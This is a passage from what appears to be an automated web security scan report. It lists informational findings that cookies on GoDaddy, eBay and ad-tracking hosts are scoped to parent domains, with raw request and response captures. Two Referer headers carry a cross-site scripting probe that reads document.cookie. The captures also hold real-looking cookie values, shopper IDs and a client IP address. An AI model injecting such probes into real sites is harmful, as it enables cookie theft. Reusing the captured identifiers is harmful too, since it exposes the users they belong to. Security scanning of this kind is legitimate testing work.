Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/
Cookie: preferences1=_sid=&dataCenterCode=US&gdshop_currencyType=USD; adc1=US; SplitValue1=19; currency1=potableSourceStr=USD; flag1=cflag=us; currencypopin1=cdisplaypopin=false; traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=&referringdomain=&split=19

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: pagecount=6; domain=.godaddy.com; path=/
Set-Cookie: fb_pagecount=6; path=/
Set-Cookie: actioncount=d0d8de1c964083c62476d317; domain=.godaddy.com; path=/
Set-Cookie: fb_actioncount=d0d8de1c3e2452299539dc20; path=/
Set-Cookie: app_pathway=d0d8de1c713e614c609a8053; domain=.godaddy.com; path=/
Set-Cookie: fb_session=d0d8de1ca73e3dfc7228ecbe&S_TOUCH=09/16/2011 18:07:20&pathway=c300561b-e09a-4c96-8e0e-ac74afbb6017; path=/
Set-Cookie: visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; domain=.godaddy.com; expires=Sat, 15-Sep-2012 18:07:20 GMT; path=/
Set-Cookie: traffic=; domain=.godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
Date: Fri, 16 Sep 2011 18:07:19 GMT
Content-Length: 43

GIF89a.............!.......,...........D..;

10.19. http://img.godaddy.com/pageevents.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://img.godaddy.com
Path:	/pageevents.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

isc=eebc2%0d%0a0acfdd19135; domain=.godaddy.com; path=/
visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; domain=.godaddy.com; expires=Sat, 15-Sep-2012 18:08:29 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pageevents.aspx?page_name=/domains/search.aspx&ci=15014&eventtype=&ciimpressions=&usrin=&r=0.45087383035570383&comview=0 HTTP/1.1
Host: img.godaddy.com
Proxy-Connection: keep-alive
Referer: http://www.godaddy.com/domains/search.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; pagecount=2; fb_pagecount=2; actioncount=; fb_actioncount=; app_pathway=; fb_session=S_TOUCH=09/16/2011 18:06:35&pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5&V_DATE=09/16/2011 11:05:34; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; currency1=potableSourceStr=USD; adc1=US; traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/domains/search.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: pagecount=2; domain=.godaddy.com; path=/
Set-Cookie: fb_pagecount=2; path=/
Set-Cookie: actioncount=; domain=.godaddy.com; path=/
Set-Cookie: fb_actioncount=; path=/
Set-Cookie: app_pathway=; domain=.godaddy.com; path=/
Set-Cookie: fb_session=S_TOUCH=09/16/2011 18:06:35&pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5&V_DATE=09/16/2011 11:05:34; path=/
Set-Cookie: isc=eebc2%0d%0a0acfdd19135; domain=.godaddy.com; path=/
Set-Cookie: visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; domain=.godaddy.com; expires=Sat, 15-Sep-2012 18:08:29 GMT; path=/
X-Powered-By: ASP.NET
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
Date: Fri, 16 Sep 2011 18:08:29 GMT
Content-Length: 43

GIF89a.............!.......,...........D..;

10.20. http://img.secureserver.net/image.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://img.secureserver.net
Path:	/image.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

pathway=d990793e-d1e7-4b97-a94a-94399c0b4c8b; domain=.secureserver.net; path=/
visitor=vid=d990793e-d1e7-4b97-a94a-94399c0b4c8b; domain=.secureserver.net; expires=Sat, 15-Sep-2012 18:09:35 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /image.aspx?page=%2Farticle%2F5246&site=help.securepaynet.net&server=m1plgdhelp003&querystring=plid%3D&status=200&article_id=5246&locale=en&topic_id=168 HTTP/1.1
Host: img.secureserver.net
Proxy-Connection: keep-alive
Referer: http://help.securepaynet.net/topic/168/article/5246?plid=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: pathway=d990793e-d1e7-4b97-a94a-94399c0b4c8b; domain=.secureserver.net; path=/
Set-Cookie: pagecount=1; domain=.secureserver.net; path=/
Set-Cookie: fb_pagecount=1; path=/
Set-Cookie: actioncount=; domain=.secureserver.net; path=/
Set-Cookie: fb_actioncount=; path=/
Set-Cookie: app_pathway=; domain=.secureserver.net; path=/
Set-Cookie: fb_session=S_TOUCH=09/16/2011 18:09:35&pathway=d990793e-d1e7-4b97-a94a-94399c0b4c8b&V_DATE=09/16/2011 11:09:35; path=/
Set-Cookie: visitor=vid=d990793e-d1e7-4b97-a94a-94399c0b4c8b; domain=.secureserver.net; expires=Sat, 15-Sep-2012 18:09:35 GMT; path=/
Set-Cookie: traffic=; domain=.secureserver.net; path=/
X-Powered-By: ASP.NET
P3P: CP=IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA
Date: Fri, 16 Sep 2011 18:09:35 GMT
Content-Length: 43

GIF89a.............!.......,...........D..;

10.21. http://landing.sendgrid.com/smtp-with-bullet-points/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://landing.sendgrid.com
Path:	/smtp-with-bullet-points/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

__pcid=9GFPhk:1; Domain=.sendgrid.com; expires=Wed, 14 Mar 2012 15:26:40 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /smtp-with-bullet-points/?gclid=CPWo1PSJoqsCFRRSgwod8HVslQ HTTP/1.1
Host: landing.sendgrid.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

10.22. http://load.exelator.com/load/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://load.exelator.com
Path:	/load/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TFF=eJyVkjsOgzAMQO%252FCCWzziTELx%252BjKwFCpW7sh7t6EBhecUKVDFCt6L7ZlT0Ioy1OQpEJoRkIY%252B76napiEZLkLDv44An%252FBHq4Jj4GvDU%252FxHD2nWpnhb2guyFpJ7OLf821%252BTK%252F56m9raBdttmsP%252FeRt1xsf8mBaWdRKjZCJvAI1ZSrrHO98CFO%252BPef58Kc80XOqlRn%252Bzcyj42RytqYWcz2w7lQIU972oHnQeE61UmOfI2Tnnq%252FswBfncar9WxlxdiPBfXnO8HYjN%252F48G%252BbjRrLdyAtjfQNukQxI; expires=Sat, 14-Jan-2012 16:32:42 GMT; path=/; domain=.exelator.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /load/?p=104&g=210&j=0 HTTP/1.1
Host: load.exelator.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/?ec1bb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E204f91ee9a2=1
Cookie: xltl=eJxdjrEKAjEQBf8lfSC72d1kYyUqeI2FYi3J7QWsxUr8d%252BOBjd0r5jFTC5XXo8TirtPebcbC4gJwNiHJ2IO0njVhCzhrTqxMpis3Htvj72G9AoBEpQxL1LkrsSYRqxZ4wfblAIp73u12wUDnwyoDLg44BiUAlKSA4Z%252BcTrtVIsW1OCLY2At39BR69lVR%252FdwEWzab6zLS3h8RnDXh; BFF=eJydkL0SgjAQhN8lT3CXQAJJ408jM4oFGQdpHEpqS%252BXdJYLJwRhnpL1vb%252B92W42oH3eNoJlFSMpNnuecmU6jVJkZgNDsdC7t4Xi9XYqqsMy0A%252Fu5k05zakO14gtogolCGUwaMpppBQWDuOKQFOX%252BCehoOp7IYFoLlALuwXJHebIwcvdrEvgNpl%252FrmFZQgCPY7qiLq0J%252BAJnN1cKTfk2la%252FuL1xRt5K%252F4ClQkqiP9C51noMc%253D; TFF=eJyVkzsOgzAMhu%252FCCWzzcGIWjtGVgaFSt3ZD3L3hlYIJlTOgBPR9sa0%252F9EIo41uQpECoOkLovPdUtL2QjE%252FBNjwNu7DAvp0uPM58qXhq19ejx1GzGWGF6kQyNpqcP61nD4%252Fh1X%252BGwmjEKerU1Kv3h0drHY5aTmcUFCjJnMeBrzPy2DRrHqTyaBxsJN31VGNqhsWDfXvl9QyxDiqPo2Y19hwhmXu6swNvrsNRy%252B2MXPJGAv94l%252BD1jVz4czbu9B86fSNvjOkLi%252BQMlA%253D%253D; EVX=eJw9ybENgDAMBMBdMoHfYGK%252Fh7FSpqZE2R2lgO6kGwSfyYiwHNRtyZtwNlzdq5fKWXJoWaHlJP51%252BdZQsnetFzSwFF4%253D

Response

HTTP/1.1 302 Found
X-Cnection: close
X-Powered-By: PHP/5.2.1
P3P: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA
Content-Type: image/gif
Set-Cookie: TFF=eJyVkjsOgzAMQO%252FCCWzziTELx%252BjKwFCpW7sh7t6EBhecUKVDFCt6L7ZlT0Ioy1OQpEJoRkIY%252B76napiEZLkLDv44An%252FBHq4Jj4GvDU%252FxHD2nWpnhb2guyFpJ7OLf821%252BTK%252F56m9raBdttmsP%252FeRt1xsf8mBaWdRKjZCJvAI1ZSrrHO98CFO%252BPef58Kc80XOqlRn%252Bzcyj42RytqYWcz2w7lQIU972oHnQeE61UmOfI2Tnnq%252FswBfncar9WxlxdiPBfXnO8HYjN%252F48G%252BbjRrLdyAtjfQNukQxI; expires=Sat, 14-Jan-2012 16:32:42 GMT; path=/; domain=.exelator.com
Location: http://a.collective-media.net/datapair?net=ex&segs=
Content-Length: 0
Date: Fri, 16 Sep 2011 16:32:42 GMT
Server: HTTP server

10.23. https://mya.godaddy.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/Default.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

ShopperId1=icrggiheobkgocvhqhmjwbmindlamiea; domain=godaddy.com; expires=Thu, 16-Sep-2021 18:08:24 GMT; path=/
currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:24 GMT; path=/
traffic=cookies=1&referrer=&sitename=mya.godaddy.com&page=/Default.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=idpinfo=none&myaurl=%2fdefault.aspx&ci=13025&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.24. https://mya.godaddy.com/myrenewals/myRenewals.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/myrenewals/myRenewals.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:09:07 GMT; path=/
traffic=cookies=1&referrer=https://idp.godaddy.com/login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx&sitename=mya.godaddy.com&page=/myrenewals/myRenewals.aspx&server=M1PWMYAWEB003&status=200 OK&querystring=ci=11279&tab=products&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=4d9fa55d-454a-463a-ad89-702facb7913c&referringdomain=&split=45; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.25. http://p.brilig.com/contact/bct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://p.brilig.com
Path:	/contact/bct

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

BriligContact=57372788-c194-43c5-a151-713a1d7fc584; Domain=.brilig.com; Expires=Sun, 08-Sep-2041 16:32:46 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /contact/bct?pid=db87fbb1-7ab7-43ef-8be9-04bf8c66111d&_ct=pixel&REDIR=http://a.collective-media.net/datapair?net=vt HTTP/1.1
Host: p.brilig.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/?ec1bb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E204f91ee9a2=1
Cookie: BriligContact=57372788-c194-43c5-a151-713a1d7fc584

Response

HTTP/1.1 302 Moved Temporarily
Date: Fri, 16 Sep 2011 16:32:46 GMT
Server: Apache/2.2.14 (Ubuntu)
Pragma: no-cache
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Expires: Mon, 19 Dec 1983 16:32:46 GMT
Set-Cookie: BriligContact=57372788-c194-43c5-a151-713a1d7fc584; Domain=.brilig.com; Expires=Sun, 08-Sep-2041 16:32:46 GMT
Location: http://a.collective-media.net/datapair?net=vt
Content-Length: 0
X-Brilig-D: D=2671
P3P: CP="NOI DSP COR CURo DEVo TAIo PSAo PSDo OUR BUS UNI COM"
Connection: close
Content-Type: text/plain

10.26. http://pixel.quantserve.com/seg/r previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.quantserve.com
Path:	/seg/r

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

d=EHoBGgHcB7vR0r2IHh2EsRA; expires=Thu, 15-Dec-2011 16:30:38 GMT; path=/; domain=.quantserve.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /seg/r;a=p-86ZJnSph3DaTI;rand=025670655;redirect=http://a.collective-media.net/datapair?net=qc&id=121773f9380f32f&segs=!qcsegs&op=add HTTP/1.1
Host: pixel.quantserve.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: mc=4e29da7c-0fd05-96398-5e4b5; d=EIIBIQHYB4HRBprRW9iB4QschAEA

Response

HTTP/1.1 302 Found
Connection: close
Location: http://a.collective-media.net/datapair?net=qc&id=121773f9380f32f&segs=D&op=add
Set-Cookie: d=EHoBGgHcB7vR0r2IHh2EsRA; expires=Thu, 15-Dec-2011 16:30:38 GMT; path=/; domain=.quantserve.com
Set-Cookie: mc=; expires=Thu, 01-Jan-1970 00:00:10 GMT; path=/; domain=.quantserve.com
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAo PSDo OUR SAMa IND COM NAV"
Cache-Control: private, no-cache, no-store, proxy-revalidate
Pragma: no-cache
Expires: Fri, 04 Aug 1978 12:00:00 GMT
Content-Length: 0
Date: Fri, 16 Sep 2011 16:30:38 GMT
Server: QS

10.27. http://pixel.rubiconproject.com/tap.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pixel.rubiconproject.com
Path:	/tap.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

rpb=7908%3D1%264940%3D1%267751%3D1%265364%3D1%267259%3D1%267249%3D1%265671%3D1%264210%3D1%267935%3D1%266073%3D1%267727%3D1%265852%3D1%266286%3D1%266643%3D1%264212%3D1%266432%3D1; expires=Sun, 16-Oct-2011 15:29:22 GMT; path=/; domain=.rubiconproject.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tap.php?v=6432&rnd1316186960 HTTP/1.1
Host: pixel.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://seg.sharethis.com/getSegment.php?purl=http%3A%2F%2Fwww.blackbaud.com%2F&jsref=&rnd=1316204996203
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: put_1994=vf1kj11kp2en; put_2249=CAESEGMUSetziKiEuzwBhcLJxAU; put_2046=WX9qald2TXhCBmNbCwp9WwZUaXsQdAFCDVliU1tKZA%3D%3D; put_1986=6422714091563403120; put_2146=n4tx19dbice3prpg7887b1ymgzfc6iit; put_2081=OO-00000000000000000; put_1430=f0be7f74-7052-4a09-8aa0-ca59d82b3888; put_1523=NPgmRuqc1g7o5ImOP5HZYnndqUL92n1F; put_1197=3620501663059719663; put_2271=DUSYkUQpjy1LEYeYEnMS6srZRiE; put_2025=f9bdca69-e609-4297-9145-48ea56a0756c; put_2100=usr3fe3ac8db403a568; au=GSAE3LG5-KKTN-10.208.77.156; put_2245=b6ae888c-d95b-11e0-b096-0025900e0834; put_2101=f31d0c43-cd91-4caf-ae01-86754c3f8535; cd=false; lm="7 Sep 2011 14:14:54 GMT"; put_2132=439524AE8C6B634E021F5F7802166020; ruid=154e62c97432177b6a4bcd01^6^1315959802^840399722; csi15=3165738.js^1^1315959802^1315959802; csi2=3167262.js^1^1315960045^1315960045; put_1185=2944787775510337379; rpb=7908%3D1%264940%3D1%267751%3D1%265364%3D1%267259%3D1%267249%3D1%265671%3D1%264210%3D1%267935%3D1%266073%3D1%267727%3D1%265852%3D1%266286%3D1%266643%3D1%264212%3D1%266432%3D1; rpx=7908%3D14600%2C0%2C1%2C%2C%264940%3D14649%2C0%2C1%2C%2C%265364%3D14653%2C3%2C2%2C%2C%267751%3D14656%2C0%2C1%2C%2C%264210%3D14656%2C86%2C2%2C%2C%267259%3D14658%2C0%2C1%2C%2C%267249%3D14658%2C0%2C1%2C%2C%266432%3D14740%2C191%2C6%2C%2C%265671%3D14742%2C0%2C1%2C%2C%264212%3D14742%2C154%2C2%2C%2C%267935%3D14742%2C0%2C1%2C%2C%266073%3D14742%2C0%2C1%2C%2C%267727%3D14742%2C0%2C1%2C%2C%265852%3D14742%2C0%2C1%2C%2C%266286%3D14843%2C0%2C1%2C%2C%266643%3D14894%2C0%2C1%2C%2C

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:29:22 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.3
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Set-Cookie: rpb=7908%3D1%264940%3D1%267751%3D1%265364%3D1%267259%3D1%267249%3D1%265671%3D1%264210%3D1%267935%3D1%266073%3D1%267727%3D1%265852%3D1%266286%3D1%266643%3D1%264212%3D1%266432%3D1; expires=Sun, 16-Oct-2011 15:29:22 GMT; path=/; domain=.rubiconproject.com
Set-Cookie: rpx=7908%3D14600%2C0%2C1%2C%2C%264940%3D14649%2C0%2C1%2C%2C%265364%3D14653%2C3%2C2%2C%2C%267751%3D14656%2C0%2C1%2C%2C%264210%3D14656%2C86%2C2%2C%2C%267259%3D14658%2C0%2C1%2C%2C%267249%3D14658%2C0%2C1%2C%2C%266432%3D14740%2C219%2C8%2C%2C%265671%3D14742%2C0%2C1%2C%2C%264212%3D14742%2C154%2C2%2C%2C%267935%3D14742%2C0%2C1%2C%2C%266073%3D14742%2C0%2C1%2C%2C%267727%3D14742%2C0%2C1%2C%2C%265852%3D14742%2C0%2C1%2C%2C%266286%3D14843%2C0%2C1%2C%2C%266643%3D14894%2C0%2C1%2C%2C; expires=Sun, 16-Oct-2011 15:29:22 GMT; path=/; domain=.pixel.rubiconproject.com
Content-Length: 49
Content-Type: image/gif

GIF89a...................!.......,...........T..;

10.28. http://rover.ebay.com/ar/1/711-53200-19255-108/1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rover.ebay.com
Path:	/ar/1/711-53200-19255-108/1

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

npii=btrm/svid%3D646543881975054aa8f^cguid/62d7951f1320a479e7268c86ff361dd15054aa8f^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:19:27 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ar/1/711-53200-19255-108/1?campid=5336830850&toolid=7115320019255108&customid=&mpt=206427233991&adtype=3&size=300x250&mpvc= HTTP/1.1
Host: rover.ebay.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: npii=btrm/svid%3D64654388197505092ad^cguid/62d7951f1320a479e7268c86ff361dd1505092ad^

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
RlogId: p4n%60rujfudlwc%3D9vt*ts67.%6052f505-1327309143d
Set-Cookie: npii=btrm/svid%3D646543881975054aa8f^cguid/62d7951f1320a479e7268c86ff361dd15054aa8f^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:19:27 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa PSDo PSAa OUR SAMo IND UNI COM NAV INT STA DEM PRE"
Cache-Control: private, no-cache
Pragma: no-cache
Content-Type: text/html
Content-Length: 316
Date: Fri, 16 Sep 2011 16:19:26 GMT

document.write('<a target="_blank" href="http://rover.ebay.com/rover/1/711-53200-19255-108/1?mpt=206427233991&toolid=7115320019255108&customid=&campid=5336830850&rvr_id=265440014577&imp_rvr_id=2654400
...[SNIP]...

10.29. http://s.amazon-cornerstone.com/iui3 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s.amazon-cornerstone.com
Path:	/iui3

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ad-id=Ayy0HVI91kopvWsXdVMP4Ng; Domain=amazon-cornerstone.com; Expires=Thu, 01-Jan-2037 00:00:01 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /iui3?d=assoc-amazon.com&enId=Associates&eId=view&r=1&rP=http%3A%2F%2Fportal.opera.com%2F&cB=2790792565792799 HTTP/1.1
Host: s.amazon-cornerstone.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ad-privacy=0; ad-id=Ayy0HVI91kopvWsXdVMP4Ng

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:19:33 GMT
Server: Server
p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC "
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
nnCoection: close
Set-Cookie: ad-id=Ayy0HVI91kopvWsXdVMP4Ng; Domain=amazon-cornerstone.com; Expires=Thu, 01-Jan-2037 00:00:01 GMT; Path=/
Vary: Accept-Encoding,User-Agent
Content-Length: 43

GIF89a.............!.......,...........D..;

10.30. http://srv.healthheadlines.com/s.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://srv.healthheadlines.com
Path:	/s.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

_int_lst=QUl2Sm5BQUFBRE1BQUFBSkFBQUFVZ0FBQUdRQUFBQUZBQUFBQndBQUFBVUFBQUcxQUFBQXx5QUFBQUNJQUFBR1VBQUFBS1FBQUFaUUFBQUVzQUFBQUZBQUFCSkFBQUFBYUFBQUF1UT09fHx8MXwxMzE2MTkwMDI3; path=/; domain=.healthheadlines.com; httponly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /s.php?c=51&d=9&t=0.08053325628861785&n=1133000173&k=http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ%26num%3D1%26sig%3DAOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw%26client%3Dca-pub-3796773913386149%26adurl%3D HTTP/1.1
Host: srv.healthheadlines.com
Proxy-Connection: keep-alive
